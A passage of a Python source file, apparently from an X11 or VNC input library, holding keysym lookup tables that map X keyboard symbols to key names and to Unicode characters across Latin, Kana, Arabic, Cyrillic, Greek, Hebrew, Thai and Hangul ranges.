\"F12\", 0xffca: \"F13\",\n    0xffcb: \"F14\", 0xffcc: \"F15\", 0xffcd: \"F16\",\n    0xffce: \"F17\", 0xffcf: \"F18\", 0xffd0: \"F19\",\n    0xffd1: \"F20\", 0xffd2: \"F21\", 0xffd3: \"F22\",\n    0xffd4: \"F23\", 0xffd5: \"F24\", 0xffd6: \"F25\",\n    0xffd7: \"F26\", 0xffd8: \"F27\", 0xffd9: \"F28\",\n    0xffda: \"F29\", 0xffdb: \"F30\", 0xffdc: \"F31\",\n    0xffdd: \"F32\", 0xffde: \"F33\", 0xffdf: \"F34\",\n    0xffe0: \"F35\", 0xffe1: \"Shift_L\", 0xffe2: \"Shift_R\",\n    0xffe3: \"Control_L\", 0xffe4: \"Control_R\", 0xffe5: \"Caps_Lock\",\n    0xffe6: \"Shift_Lock\", 0xffe7: \"Meta_L\", 0xffe8: \"Meta_R\",\n    0xffe9: \"Alt_L\", 0xffea: \"Alt_R\", 0xffeb: \"Super_L\",\n    0xffec: \"Super_R\", 0xffed: \"Hyper_L\", 0xffee: \"Hyper_R\",\n    0xfff1: \"braille_dot_1\", 0xfff2: \"braille_dot_2\", 0xfff3: \"braille_dot_3\",\n    0xfff4: \"braille_dot_4\", 0xfff5: \"braille_dot_5\", 0xfff6: \"braille_dot_6\",\n    0xfff7: \"braille_dot_7\", 0xfff8: \"braille_dot_8\", 0xfff9: \"braille_dot_9\",\n    0xfffa: \"braille_dot_10\", 0xffff: \"Delete\"\n}\n\ndef keysym_to_XK(ks):\n    return KEYSYM_TO_XK_TABLE.get(ks)\n\n\n# https://raw.githubusercontent.com/substack/node-keysym/master/data/keysyms.txt\nKEYSYM_TO_UNICODE_TABLE = {\n    0x0020: u'\\u0020', 0x0021: u'\\u0021', 0x0022: u'\\u0022', 0x0023: u'\\u0023', 0x0024: u'\\u0024',\n    0x0025: u'\\u0025', 0x0026: u'\\u0026', 0x0027: u'\\u0027', 0x0027: u'\\u0027', 0x0028: u'\\u0028',\n    0x0029: u'\\u0029', 0x002a: u'\\u002a', 0x002b: u'\\u002b', 0x002c: u'\\u002c', 0x002d: u'\\u002d',\n    0x002e: u'\\u002e', 0x002f: u'\\u002f', 0x0030: u'\\u0030', 0x0031: u'\\u0031', 0x0032: u'\\u0032',\n    0x0033: u'\\u0033', 0x0034: u'\\u0034', 0x0035: u'\\u0035', 0x0036: u'\\u0036', 0x0037: u'\\u0037',\n    0x0038: u'\\u0038', 0x0039: u'\\u0039', 0x003a: u'\\u003a', 0x003b: u'\\u003b', 0x003c: u'\\u003c',\n    0x003d: u'\\u003d', 0x003e: u'\\u003e', 0x003f: u'\\u003f', 0x0040: u'\\u0040', 0x0041: u'\\u0041',\n    0x0042: u'\\u0042', 0x0043: u'\\u0043', 0x0044: u'\\u0044', 0x0045: u'\\u0045', 0x0046: u'\\u0046',\n    0x0047: u'\\u0047', 0x0048: u'\\u0048', 0x0049: u'\\u0049', 0x004a: u'\\u004a', 0x004b: u'\\u004b',\n    0x004c: u'\\u004c', 0x004d: u'\\u004d', 0x004e: u'\\u004e', 0x004f: u'\\u004f', 0x0050: u'\\u0050',\n    0x0051: u'\\u0051', 0x0052: u'\\u0052', 0x0053: u'\\u0053', 0x0054: u'\\u0054', 0x0055: u'\\u0055',\n    0x0056: u'\\u0056', 0x0057: u'\\u0057', 0x0058: u'\\u0058', 0x0059: u'\\u0059', 0x005a: u'\\u005a',\n    0x005b: u'\\u005b', 0x005c: u'\\u005c', 0x005d: u'\\u005d', 0x005e: u'\\u005e', 0x005f: u'\\u005f',\n    0x0060: u'\\u0060', 0x0060: u'\\u0060', 0x0061: u'\\u0061', 0x0062: u'\\u0062', 0x0063: u'\\u0063',\n    0x0064: u'\\u0064', 0x0065: u'\\u0065', 0x0066: u'\\u0066', 0x0067: u'\\u0067', 0x0068: u'\\u0068',\n    0x0069: u'\\u0069', 0x006a: u'\\u006a', 0x006b: u'\\u006b', 0x006c: u'\\u006c', 0x006d: u'\\u006d',\n    0x006e: u'\\u006e', 0x006f: u'\\u006f', 0x0070: u'\\u0070', 0x0071: u'\\u0071', 0x0072: u'\\u0072',\n    0x0073: u'\\u0073', 0x0074: u'\\u0074', 0x0075: u'\\u0075', 0x0076: u'\\u0076', 0x0077: u'\\u0077',\n    0x0078: u'\\u0078', 0x0079: u'\\u0079', 0x007a: u'\\u007a', 0x007b: u'\\u007b', 0x007c: u'\\u007c',\n    0x007d: u'\\u007d', 0x007e: u'\\u007e', 0x00a0: u'\\u00a0', 0x00a1: u'\\u00a1', 0x00a2: u'\\u00a2',\n    0x00a3: u'\\u00a3', 0x00a4: u'\\u00a4', 0x00a5: u'\\u00a5', 0x00a6: u'\\u00a6', 0x00a7: u'\\u00a7',\n    0x00a8: u'\\u00a8', 0x00a9: u'\\u00a9', 0x00aa: u'\\u00aa', 0x00ab: u'\\u00ab', 0x00ac: u'\\u00ac',\n    0x00ad: u'\\u00ad', 0x00ae: u'\\u00ae', 0x00af: u'\\u00af', 0x00b0: u'\\u00b0', 0x00b1: u'\\u00b1',\n    0x00b2: u'\\u00b2', 0x00b3: u'\\u00b3', 0x00b4: u'\\u00b4', 0x00b5: u'\\u00b5', 0x00b6: u'\\u00b6',\n    0x00b7: u'\\u00b7', 0x00b8: u'\\u00b8', 0x00b9: u'\\u00b9', 0x00ba: u'\\u00ba', 0x00bb: u'\\u00bb',\n    0x00bc: u'\\u00bc', 0x00bd: u'\\u00bd', 0x00be: u'\\u00be', 0x00bf: u'\\u00bf', 0x00c0: u'\\u00c0',\n    0x00c1: u'\\u00c1', 0x00c2: u'\\u00c2', 0x00c3: u'\\u00c3', 0x00c4: u'\\u00c4', 0x00c5: u'\\u00c5',\n    0x00c6: u'\\u00c6', 0x00c7: u'\\u00c7', 0x00c8: u'\\u00c8', 0x00c9: u'\\u00c9', 0x00ca: u'\\u00ca',\n    0x00cb: u'\\u00cb', 0x00cc: u'\\u00cc', 0x00cd: u'\\u00cd', 0x00ce: u'\\u00ce', 0x00cf: u'\\u00cf',\n    0x00d0: u'\\u00d0', 0x00d0: u'\\u00d0', 0x00d1: u'\\u00d1', 0x00d2: u'\\u00d2', 0x00d3: u'\\u00d3',\n    0x00d4: u'\\u00d4', 0x00d5: u'\\u00d5', 0x00d6: u'\\u00d6', 0x00d7: u'\\u00d7', 0x00d8: u'\\u00d8',\n    0x00d9: u'\\u00d9', 0x00da: u'\\u00da', 0x00db: u'\\u00db', 0x00dc: u'\\u00dc', 0x00dd: u'\\u00dd',\n    0x00de: u'\\u00de', 0x00de: u'\\u00de', 0x00df: u'\\u00df', 0x00e0: u'\\u00e0', 0x00e1: u'\\u00e1',\n    0x00e2: u'\\u00e2', 0x00e3: u'\\u00e3', 0x00e4: u'\\u00e4', 0x00e5: u'\\u00e5', 0x00e6: u'\\u00e6',\n    0x00e7: u'\\u00e7', 0x00e8: u'\\u00e8', 0x00e9: u'\\u00e9', 0x00ea: u'\\u00ea', 0x00eb: u'\\u00eb',\n    0x00ec: u'\\u00ec', 0x00ed: u'\\u00ed', 0x00ee: u'\\u00ee', 0x00ef: u'\\u00ef', 0x00f0: u'\\u00f0',\n    0x00f1: u'\\u00f1', 0x00f2: u'\\u00f2', 0x00f3: u'\\u00f3', 0x00f4: u'\\u00f4', 0x00f5: u'\\u00f5',\n    0x00f6: u'\\u00f6', 0x00f7: u'\\u00f7', 0x00f8: u'\\u00f8', 0x00f9: u'\\u00f9', 0x00fa: u'\\u00fa',\n    0x00fb: u'\\u00fb', 0x00fc: u'\\u00fc', 0x00fd: u'\\u00fd', 0x00fe: u'\\u00fe', 0x00ff: u'\\u00ff',\n    0x01a1: u'\\u0104', 0x01a2: u'\\u02d8', 0x01a3: u'\\u0141', 0x01a5: u'\\u013d', 0x01a6: u'\\u015a',\n    0x01a9: u'\\u0160', 0x01aa: u'\\u015e', 0x01ab: u'\\u0164', 0x01ac: u'\\u0179', 0x01ae: u'\\u017d',\n    0x01af: u'\\u017b', 0x01b1: u'\\u0105', 0x01b2: u'\\u02db', 0x01b3: u'\\u0142', 0x01b5: u'\\u013e',\n    0x01b6: u'\\u015b', 0x01b7: u'\\u02c7', 0x01b9: u'\\u0161', 0x01ba: u'\\u015f', 0x01bb: u'\\u0165',\n    0x01bc: u'\\u017a', 0x01bd: u'\\u02dd', 0x01be: u'\\u017e', 0x01bf: u'\\u017c', 0x01c0: u'\\u0154',\n    0x01c3: u'\\u0102', 0x01c5: u'\\u0139', 0x01c6: u'\\u0106', 0x01c8: u'\\u010c', 0x01ca: u'\\u0118',\n    0x01cc: u'\\u011a', 0x01cf: u'\\u010e', 0x01d0: u'\\u0110', 0x01d1: u'\\u0143', 0x01d2: u'\\u0147',\n    0x01d5: u'\\u0150', 0x01d8: u'\\u0158', 0x01d9: u'\\u016e', 0x01db: u'\\u0170', 0x01de: u'\\u0162',\n    0x01e0: u'\\u0155', 0x01e3: u'\\u0103', 0x01e5: u'\\u013a', 0x01e6: u'\\u0107', 0x01e8: u'\\u010d',\n    0x01ea: u'\\u0119', 0x01ec: u'\\u011b', 0x01ef: u'\\u010f', 0x01f0: u'\\u0111', 0x01f1: u'\\u0144',\n    0x01f2: u'\\u0148', 0x01f5: u'\\u0151', 0x01f8: u'\\u0159', 0x01f9: u'\\u016f', 0x01fb: u'\\u0171',\n    0x01fe: u'\\u0163', 0x01ff: u'\\u02d9', 0x02a1: u'\\u0126', 0x02a6: u'\\u0124', 0x02a9: u'\\u0130',\n    0x02ab: u'\\u011e', 0x02ac: u'\\u0134', 0x02b1: u'\\u0127', 0x02b6: u'\\u0125', 0x02b9: u'\\u0131',\n    0x02bb: u'\\u011f', 0x02bc: u'\\u0135', 0x02c5: u'\\u010a', 0x02c6: u'\\u0108', 0x02d5: u'\\u0120',\n    0x02d8: u'\\u011c', 0x02dd: u'\\u016c', 0x02de: u'\\u015c', 0x02e5: u'\\u010b', 0x02e6: u'\\u0109',\n    0x02f5: u'\\u0121', 0x02f8: u'\\u011d', 0x02fd: u'\\u016d', 0x02fe: u'\\u015d', 0x03a2: u'\\u0138',\n    0x03a3: u'\\u0156', 0x03a5: u'\\u0128', 0x03a6: u'\\u013b', 0x03aa: u'\\u0112', 0x03ab: u'\\u0122',\n    0x03ac: u'\\u0166', 0x03b3: u'\\u0157', 0x03b5: u'\\u0129', 0x03b6: u'\\u013c', 0x03ba: u'\\u0113',\n    0x03bb: u'\\u0123', 0x03bc: u'\\u0167', 0x03bd: u'\\u014a', 0x03bf: u'\\u014b', 0x03c0: u'\\u0100',\n    0x03c7: u'\\u012e', 0x03cc: u'\\u0116', 0x03cf: u'\\u012a', 0x03d1: u'\\u0145', 0x03d2: u'\\u014c',\n    0x03d3: u'\\u0136', 0x03d9: u'\\u0172', 0x03dd: u'\\u0168', 0x03de: u'\\u016a', 0x03e0: u'\\u0101',\n    0x03e7: u'\\u012f', 0x03ec: u'\\u0117', 0x03ef: u'\\u012b', 0x03f1: u'\\u0146', 0x03f2: u'\\u014d',\n    0x03f3: u'\\u0137', 0x03f9: u'\\u0173', 0x03fd: u'\\u0169', 0x03fe: u'\\u016b', 0x047e: u'\\u203e',\n    0x04a1: u'\\u3002', 0x04a2: u'\\u300c', 0x04a3: u'\\u300d', 0x04a4: u'\\u3001', 0x04a5: u'\\u30fb',\n    0x04a6: u'\\u30f2', 0x04a7: u'\\u30a1', 0x04a8: u'\\u30a3', 0x04a9: u'\\u30a5', 0x04aa: u'\\u30a7',\n    0x04ab: u'\\u30a9', 0x04ac: u'\\u30e3', 0x04ad: u'\\u30e5', 0x04ae: u'\\u30e7', 0x04af: u'\\u30c3',\n    0x04b0: u'\\u30fc', 0x04b1: u'\\u30a2', 0x04b2: u'\\u30a4', 0x04b3: u'\\u30a6', 0x04b4: u'\\u30a8',\n    0x04b5: u'\\u30aa', 0x04b6: u'\\u30ab', 0x04b7: u'\\u30ad', 0x04b8: u'\\u30af', 0x04b9: u'\\u30b1',\n    0x04ba: u'\\u30b3', 0x04bb: u'\\u30b5', 0x04bc: u'\\u30b7', 0x04bd: u'\\u30b9', 0x04be: u'\\u30bb',\n    0x04bf: u'\\u30bd', 0x04c0: u'\\u30bf', 0x04c1: u'\\u30c1', 0x04c2: u'\\u30c4', 0x04c3: u'\\u30c6',\n    0x04c4: u'\\u30c8', 0x04c5: u'\\u30ca', 0x04c6: u'\\u30cb', 0x04c7: u'\\u30cc', 0x04c8: u'\\u30cd',\n    0x04c9: u'\\u30ce', 0x04ca: u'\\u30cf', 0x04cb: u'\\u30d2', 0x04cc: u'\\u30d5', 0x04cd: u'\\u30d8',\n    0x04ce: u'\\u30db', 0x04cf: u'\\u30de', 0x04d0: u'\\u30df', 0x04d1: u'\\u30e0', 0x04d2: u'\\u30e1',\n    0x04d3: u'\\u30e2', 0x04d4: u'\\u30e4', 0x04d5: u'\\u30e6', 0x04d6: u'\\u30e8', 0x04d7: u'\\u30e9',\n    0x04d8: u'\\u30ea', 0x04d9: u'\\u30eb', 0x04da: u'\\u30ec', 0x04db: u'\\u30ed', 0x04dc: u'\\u30ef',\n    0x04dd: u'\\u30f3', 0x04de: u'\\u309b', 0x04df: u'\\u309c', 0x05ac: u'\\u060c', 0x05bb: u'\\u061b',\n    0x05bf: u'\\u061f', 0x05c1: u'\\u0621', 0x05c2: u'\\u0622', 0x05c3: u'\\u0623', 0x05c4: u'\\u0624',\n    0x05c5: u'\\u0625', 0x05c6: u'\\u0626', 0x05c7: u'\\u0627', 0x05c8: u'\\u0628', 0x05c9: u'\\u0629',\n    0x05ca: u'\\u062a', 0x05cb: u'\\u062b', 0x05cc: u'\\u062c', 0x05cd: u'\\u062d', 0x05ce: u'\\u062e',\n    0x05cf: u'\\u062f', 0x05d0: u'\\u0630', 0x05d1: u'\\u0631', 0x05d2: u'\\u0632', 0x05d3: u'\\u0633',\n    0x05d4: u'\\u0634', 0x05d5: u'\\u0635', 0x05d6: u'\\u0636', 0x05d7: u'\\u0637', 0x05d8: u'\\u0638',\n    0x05d9: u'\\u0639', 0x05da: u'\\u063a', 0x05e0: u'\\u0640', 0x05e1: u'\\u0641', 0x05e2: u'\\u0642',\n    0x05e3: u'\\u0643', 0x05e4: u'\\u0644', 0x05e5: u'\\u0645', 0x05e6: u'\\u0646', 0x05e7: u'\\u0647',\n    0x05e8: u'\\u0648', 0x05e9: u'\\u0649', 0x05ea: u'\\u064a', 0x05eb: u'\\u064b', 0x05ec: u'\\u064c',\n    0x05ed: u'\\u064d', 0x05ee: u'\\u064e', 0x05ef: u'\\u064f', 0x05f0: u'\\u0650', 0x05f1: u'\\u0651',\n    0x05f2: u'\\u0652', 0x06a1: u'\\u0452', 0x06a2: u'\\u0453', 0x06a3: u'\\u0451', 0x06a4: u'\\u0454',\n    0x06a5: u'\\u0455', 0x06a6: u'\\u0456', 0x06a7: u'\\u0457', 0x06a8: u'\\u0458', 0x06a9: u'\\u0459',\n    0x06aa: u'\\u045a', 0x06ab: u'\\u045b', 0x06ac: u'\\u045c', 0x06ae: u'\\u045e', 0x06af: u'\\u045f',\n    0x06b0: u'\\u2116', 0x06b1: u'\\u0402', 0x06b2: u'\\u0403', 0x06b3: u'\\u0401', 0x06b4: u'\\u0404',\n    0x06b5: u'\\u0405', 0x06b6: u'\\u0406', 0x06b7: u'\\u0407', 0x06b8: u'\\u0408', 0x06b9: u'\\u0409',\n    0x06ba: u'\\u040a', 0x06bb: u'\\u040b', 0x06bc: u'\\u040c', 0x06be: u'\\u040e', 0x06bf: u'\\u040f',\n    0x06c0: u'\\u044e', 0x06c1: u'\\u0430', 0x06c2: u'\\u0431', 0x06c3: u'\\u0446', 0x06c4: u'\\u0434',\n    0x06c5: u'\\u0435', 0x06c6: u'\\u0444', 0x06c7: u'\\u0433', 0x06c8: u'\\u0445', 0x06c9: u'\\u0438',\n    0x06ca: u'\\u0439', 0x06cb: u'\\u043a', 0x06cc: u'\\u043b', 0x06cd: u'\\u043c', 0x06ce: u'\\u043d',\n    0x06cf: u'\\u043e', 0x06d0: u'\\u043f', 0x06d1: u'\\u044f', 0x06d2: u'\\u0440', 0x06d3: u'\\u0441',\n    0x06d4: u'\\u0442', 0x06d5: u'\\u0443', 0x06d6: u'\\u0436', 0x06d7: u'\\u0432', 0x06d8: u'\\u044c',\n    0x06d9: u'\\u044b', 0x06da: u'\\u0437', 0x06db: u'\\u0448', 0x06dc: u'\\u044d', 0x06dd: u'\\u0449',\n    0x06de: u'\\u0447', 0x06df: u'\\u044a', 0x06e0: u'\\u042e', 0x06e1: u'\\u0410', 0x06e2: u'\\u0411',\n    0x06e3: u'\\u0426', 0x06e4: u'\\u0414', 0x06e5: u'\\u0415', 0x06e6: u'\\u0424', 0x06e7: u'\\u0413',\n    0x06e8: u'\\u0425', 0x06e9: u'\\u0418', 0x06ea: u'\\u0419', 0x06eb: u'\\u041a', 0x06ec: u'\\u041b',\n    0x06ed: u'\\u041c', 0x06ee: u'\\u041d', 0x06ef: u'\\u041e', 0x06f0: u'\\u041f', 0x06f1: u'\\u042f',\n    0x06f2: u'\\u0420', 0x06f3: u'\\u0421', 0x06f4: u'\\u0422', 0x06f5: u'\\u0423', 0x06f6: u'\\u0416',\n    0x06f7: u'\\u0412', 0x06f8: u'\\u042c', 0x06f9: u'\\u042b', 0x06fa: u'\\u0417', 0x06fb: u'\\u0428',\n    0x06fc: u'\\u042d', 0x06fd: u'\\u0429', 0x06fe: u'\\u0427', 0x06ff: u'\\u042a', 0x07a1: u'\\u0386',\n    0x07a2: u'\\u0388', 0x07a3: u'\\u0389', 0x07a4: u'\\u038a', 0x07a5: u'\\u03aa', 0x07a7: u'\\u038c',\n    0x07a8: u'\\u038e', 0x07a9: u'\\u03ab', 0x07ab: u'\\u038f', 0x07ae: u'\\u0385', 0x07af: u'\\u2015',\n    0x07b1: u'\\u03ac', 0x07b2: u'\\u03ad', 0x07b3: u'\\u03ae', 0x07b4: u'\\u03af', 0x07b5: u'\\u03ca',\n    0x07b6: u'\\u0390', 0x07b7: u'\\u03cc', 0x07b8: u'\\u03cd', 0x07b9: u'\\u03cb', 0x07ba: u'\\u03b0',\n    0x07bb: u'\\u03ce', 0x07c1: u'\\u0391', 0x07c2: u'\\u0392', 0x07c3: u'\\u0393', 0x07c4: u'\\u0394',\n    0x07c5: u'\\u0395', 0x07c6: u'\\u0396', 0x07c7: u'\\u0397', 0x07c8: u'\\u0398', 0x07c9: u'\\u0399',\n    0x07ca: u'\\u039a', 0x07cb: u'\\u039b', 0x07cb: u'\\u039b', 0x07cc: u'\\u039c', 0x07cd: u'\\u039d',\n    0x07ce: u'\\u039e', 0x07cf: u'\\u039f', 0x07d0: u'\\u03a0', 0x07d1: u'\\u03a1', 0x07d2: u'\\u03a3',\n    0x07d4: u'\\u03a4', 0x07d5: u'\\u03a5', 0x07d6: u'\\u03a6', 0x07d7: u'\\u03a7', 0x07d8: u'\\u03a8',\n    0x07d9: u'\\u03a9', 0x07e1: u'\\u03b1', 0x07e2: u'\\u03b2', 0x07e3: u'\\u03b3', 0x07e4: u'\\u03b4',\n    0x07e5: u'\\u03b5', 0x07e6: u'\\u03b6', 0x07e7: u'\\u03b7', 0x07e8: u'\\u03b8', 0x07e9: u'\\u03b9',\n    0x07ea: u'\\u03ba', 0x07eb: u'\\u03bb', 0x07ec: u'\\u03bc', 0x07ed: u'\\u03bd', 0x07ee: u'\\u03be',\n    0x07ef: u'\\u03bf', 0x07f0: u'\\u03c0', 0x07f1: u'\\u03c1', 0x07f2: u'\\u03c3', 0x07f3: u'\\u03c2',\n    0x07f4: u'\\u03c4', 0x07f5: u'\\u03c5', 0x07f6: u'\\u03c6', 0x07f7: u'\\u03c7', 0x07f8: u'\\u03c8',\n    0x07f9: u'\\u03c9', 0x08a1: u'\\u23b7', 0x08a2: u'\\u250c', 0x08a3: u'\\u2500', 0x08a4: u'\\u2320',\n    0x08a5: u'\\u2321', 0x08a6: u'\\u2502', 0x08a7: u'\\u23a1', 0x08a8: u'\\u23a3', 0x08a9: u'\\u23a4',\n    0x08aa: u'\\u23a6', 0x08ab: u'\\u239b', 0x08ac: u'\\u239d', 0x08ad: u'\\u239e', 0x08ae: u'\\u23a0',\n    0x08af: u'\\u23a8', 0x08b0: u'\\u23ac', 0x08bc: u'\\u2264', 0x08bd: u'\\u2260', 0x08be: u'\\u2265',\n    0x08bf: u'\\u222b', 0x08c0: u'\\u2234', 0x08c1: u'\\u221d', 0x08c2: u'\\u221e', 0x08c5: u'\\u2207',\n    0x08c8: u'\\u223c', 0x08c9: u'\\u2243', 0x08cd: u'\\u21d4', 0x08ce: u'\\u21d2', 0x08cf: u'\\u2261',\n    0x08d6: u'\\u221a', 0x08da: u'\\u2282', 0x08db: u'\\u2283', 0x08dc: u'\\u2229', 0x08dd: u'\\u222a',\n    0x08de: u'\\u2227', 0x08df: u'\\u2228', 0x08ef: u'\\u2202', 0x08f6: u'\\u0192', 0x08fb: u'\\u2190',\n    0x08fc: u'\\u2191', 0x08fd: u'\\u2192', 0x08fe: u'\\u2193', 0x09e0: u'\\u25c6', 0x09e1: u'\\u2592',\n    0x09e2: u'\\u2409', 0x09e3: u'\\u240c', 0x09e4: u'\\u240d', 0x09e5: u'\\u240a', 0x09e8: u'\\u2424',\n    0x09e9: u'\\u240b', 0x09ea: u'\\u2518', 0x09eb: u'\\u2510', 0x09ec: u'\\u250c', 0x09ed: u'\\u2514',\n    0x09ee: u'\\u253c', 0x09ef: u'\\u23ba', 0x09f0: u'\\u23bb', 0x09f1: u'\\u2500', 0x09f2: u'\\u23bc',\n    0x09f3: u'\\u23bd', 0x09f4: u'\\u251c', 0x09f5: u'\\u2524', 0x09f6: u'\\u2534', 0x09f7: u'\\u252c',\n    0x09f8: u'\\u2502', 0x0aa1: u'\\u2003', 0x0aa2: u'\\u2002', 0x0aa3: u'\\u2004', 0x0aa4: u'\\u2005',\n    0x0aa5: u'\\u2007', 0x0aa6: u'\\u2008', 0x0aa7: u'\\u2009', 0x0aa8: u'\\u200a', 0x0aa9: u'\\u2014',\n    0x0aaa: u'\\u2013', 0x0aac: u'\\u2423', 0x0aae: u'\\u2026', 0x0aaf: u'\\u2025', 0x0ab0: u'\\u2153',\n    0x0ab1: u'\\u2154', 0x0ab2: u'\\u2155', 0x0ab3: u'\\u2156', 0x0ab4: u'\\u2157', 0x0ab5: u'\\u2158',\n    0x0ab6: u'\\u2159', 0x0ab7: u'\\u215a', 0x0ab8: u'\\u2105', 0x0abb: u'\\u2012', 0x0abc: u'\\u27e8',\n    0x0abd: u'\\u002e', 0x0abe: u'\\u27e9', 0x0ac3: u'\\u215b', 0x0ac4: u'\\u215c', 0x0ac5: u'\\u215d',\n    0x0ac6: u'\\u215e', 0x0ac9: u'\\u2122', 0x0aca: u'\\u2613', 0x0acc: u'\\u25c1', 0x0acd: u'\\u25b7',\n    0x0ace: u'\\u25cb', 0x0acf: u'\\u25af', 0x0ad0: u'\\u2018', 0x0ad1: u'\\u2019', 0x0ad2: u'\\u201c',\n    0x0ad3: u'\\u201d', 0x0ad4: u'\\u211e', 0x0ad6: u'\\u2032', 0x0ad7: u'\\u2033', 0x0ad9: u'\\u271d',\n    0x0adb: u'\\u25ac', 0x0adc: u'\\u25c0', 0x0add: u'\\u25b6', 0x0ade: u'\\u25cf', 0x0adf: u'\\u25ae',\n    0x0ae0: u'\\u25e6', 0x0ae1: u'\\u25ab', 0x0ae2: u'\\u25ad', 0x0ae3: u'\\u25b3', 0x0ae4: u'\\u25bd',\n    0x0ae5: u'\\u2606', 0x0ae6: u'\\u2022', 0x0ae7: u'\\u25aa', 0x0ae8: u'\\u25b2', 0x0ae9: u'\\u25bc',\n    0x0aea: u'\\u261c', 0x0aeb: u'\\u261e', 0x0aec: u'\\u2663', 0x0aed: u'\\u2666', 0x0aee: u'\\u2665',\n    0x0af0: u'\\u2720', 0x0af1: u'\\u2020', 0x0af2: u'\\u2021', 0x0af3: u'\\u2713', 0x0af4: u'\\u2717',\n    0x0af5: u'\\u266f', 0x0af6: u'\\u266d', 0x0af7: u'\\u2642', 0x0af8: u'\\u2640', 0x0af9: u'\\u260e',\n    0x0afa: u'\\u2315', 0x0afb: u'\\u2117', 0x0afc: u'\\u2038', 0x0afd: u'\\u201a', 0x0afe: u'\\u201e',\n    0x0ba3: u'\\u003c', 0x0ba6: u'\\u003e', 0x0ba8: u'\\u2228', 0x0ba9: u'\\u2227', 0x0bc0: u'\\u00af',\n    0x0bc2: u'\\u22a5', 0x0bc3: u'\\u2229', 0x0bc4: u'\\u230a', 0x0bc6: u'\\u005f', 0x0bca: u'\\u2218',\n    0x0bcc: u'\\u2395', 0x0bce: u'\\u22a4', 0x0bcf: u'\\u25cb', 0x0bd3: u'\\u2308', 0x0bd6: u'\\u222a',\n    0x0bd8: u'\\u2283', 0x0bda: u'\\u2282', 0x0bdc: u'\\u22a2', 0x0bfc: u'\\u22a3', 0x0cdf: u'\\u2017',\n    0x0ce0: u'\\u05d0', 0x0ce1: u'\\u05d1', 0x0ce1: u'\\u05d1', 0x0ce2: u'\\u05d2', 0x0ce2: u'\\u05d2',\n    0x0ce3: u'\\u05d3', 0x0ce3: u'\\u05d3', 0x0ce4: u'\\u05d4', 0x0ce5: u'\\u05d5', 0x0ce6: u'\\u05d6',\n    0x0ce6: u'\\u05d6', 0x0ce7: u'\\u05d7', 0x0ce7: u'\\u05d7', 0x0ce8: u'\\u05d8', 0x0ce8: u'\\u05d8',\n    0x0ce9: u'\\u05d9', 0x0cea: u'\\u05da', 0x0ceb: u'\\u05db', 0x0cec: u'\\u05dc', 0x0ced: u'\\u05dd',\n    0x0cee: u'\\u05de', 0x0cef: u'\\u05df', 0x0cf0: u'\\u05e0', 0x0cf1: u'\\u05e1', 0x0cf1: u'\\u05e1',\n    0x0cf2: u'\\u05e2', 0x0cf3: u'\\u05e3', 0x0cf4: u'\\u05e4', 0x0cf5: u'\\u05e5', 0x0cf5: u'\\u05e5',\n    0x0cf6: u'\\u05e6', 0x0cf6: u'\\u05e6', 0x0cf7: u'\\u05e7', 0x0cf7: u'\\u05e7', 0x0cf8: u'\\u05e8',\n    0x0cf9: u'\\u05e9', 0x0cfa: u'\\u05ea', 0x0cfa: u'\\u05ea', 0x0da1: u'\\u0e01', 0x0da2: u'\\u0e02',\n    0x0da3: u'\\u0e03', 0x0da4: u'\\u0e04', 0x0da5: u'\\u0e05', 0x0da6: u'\\u0e06', 0x0da7: u'\\u0e07',\n    0x0da8: u'\\u0e08', 0x0da9: u'\\u0e09', 0x0daa: u'\\u0e0a', 0x0dab: u'\\u0e0b', 0x0dac: u'\\u0e0c',\n    0x0dad: u'\\u0e0d', 0x0dae: u'\\u0e0e', 0x0daf: u'\\u0e0f', 0x0db0: u'\\u0e10', 0x0db1: u'\\u0e11',\n    0x0db2: u'\\u0e12', 0x0db3: u'\\u0e13', 0x0db4: u'\\u0e14', 0x0db5: u'\\u0e15', 0x0db6: u'\\u0e16',\n    0x0db7: u'\\u0e17', 0x0db8: u'\\u0e18', 0x0db9: u'\\u0e19', 0x0dba: u'\\u0e1a', 0x0dbb: u'\\u0e1b',\n    0x0dbc: u'\\u0e1c', 0x0dbd: u'\\u0e1d', 0x0dbe: u'\\u0e1e', 0x0dbf: u'\\u0e1f', 0x0dc0: u'\\u0e20',\n    0x0dc1: u'\\u0e21', 0x0dc2: u'\\u0e22', 0x0dc3: u'\\u0e23', 0x0dc4: u'\\u0e24', 0x0dc5: u'\\u0e25',\n    0x0dc6: u'\\u0e26', 0x0dc7: u'\\u0e27', 0x0dc8: u'\\u0e28', 0x0dc9: u'\\u0e29', 0x0dca: u'\\u0e2a',\n    0x0dcb: u'\\u0e2b', 0x0dcc: u'\\u0e2c', 0x0dcd: u'\\u0e2d', 0x0dce: u'\\u0e2e', 0x0dcf: u'\\u0e2f',\n    0x0dd0: u'\\u0e30', 0x0dd1: u'\\u0e31', 0x0dd2: u'\\u0e32', 0x0dd3: u'\\u0e33', 0x0dd4: u'\\u0e34',\n    0x0dd5: u'\\u0e35', 0x0dd6: u'\\u0e36', 0x0dd7: u'\\u0e37', 0x0dd8: u'\\u0e38', 0x0dd9: u'\\u0e39',\n    0x0dda: u'\\u0e3a', 0x0ddf: u'\\u0e3f', 0x0de0: u'\\u0e40', 0x0de1: u'\\u0e41', 0x0de2: u'\\u0e42',\n    0x0de3: u'\\u0e43', 0x0de4: u'\\u0e44', 0x0de5: u'\\u0e45', 0x0de6: u'\\u0e46', 0x0de7: u'\\u0e47',\n    0x0de8: u'\\u0e48', 0x0de9: u'\\u0e49', 0x0dea: u'\\u0e4a', 0x0deb: u'\\u0e4b', 0x0dec: u'\\u0e4c',\n    0x0ded: u'\\u0e4d', 0x0df0: u'\\u0e50', 0x0df1: u'\\u0e51', 0x0df2: u'\\u0e52', 0x0df3: u'\\u0e53',\n    0x0df4: u'\\u0e54', 0x0df5: u'\\u0e55', 0x0df6: u'\\u0e56', 0x0df7: u'\\u0e57', 0x0df8: u'\\u0e58',\n    0x0df9: u'\\u0e59', 0x0ea1: u'\\u3131', 0x0ea2: u'\\u3132', 0x0ea3: u'\\u3133', 0x0ea4: u'\\u3134',\n    0x0ea5: u'\\u3135', 0x0ea6: u'\\u3136', 0x0ea7: u'\\u3137', 0x0ea8: u'\\u3138', 0x0ea9: u'\\u3139',\n    0x0eaa: u'\\u313a', 0x0eab: u'\\u313b', 0x0eac: u'\\u313c', 0x0ead: u'\\u313d', 0x0eae: u'\\u313e',\n    0x0eaf: u'\\u313f', 0x0eb0: u'\\u3140', 0x0eb1: u'\\u3141', 0x0eb2: u'\\u3142', 0x0eb3: u'\\u3143',\n    0x0eb4: u'\\u3144', 0x0eb5: u'\\u3145', 0x0eb6: u'\\u3146', 